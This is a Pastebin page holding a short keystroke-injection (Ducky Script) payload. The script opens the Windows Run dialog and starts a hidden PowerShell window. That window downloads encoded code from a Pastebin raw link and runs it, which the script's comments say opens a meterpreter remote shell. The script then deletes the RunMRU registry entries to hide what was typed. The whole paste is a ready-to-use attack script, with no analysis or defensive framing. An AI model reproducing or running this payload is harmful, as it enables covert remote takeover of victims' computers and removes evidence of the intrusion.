Advertisement
kuhnfelix18

Ducky Script Payload

Mar 6th, 2019
848
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. REM Opens a meterpreter using a pastebin link
  2. REM See https://github.com/hak5/bashbunny-payloads/blob/master/payloads/library/remote_access/SingleSecondShell/readme.md
  3. REM For how to create a link to your personal shellcode
  4. DELAY 2000
  5. GUI r
  6. DELAY 1000
  7. STRING powershell -windowstyle hidden $u='https://pastebin.com/raw/mYyrzLmf';$r=Invoke-WebRequest -Uri $u;powershell -nop -e $r.content
  8. ENTER
  9. GUI r
  10. DELAY 1000
  11. STRING powershell -WindowStyle Hidden -Exec Bypass "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement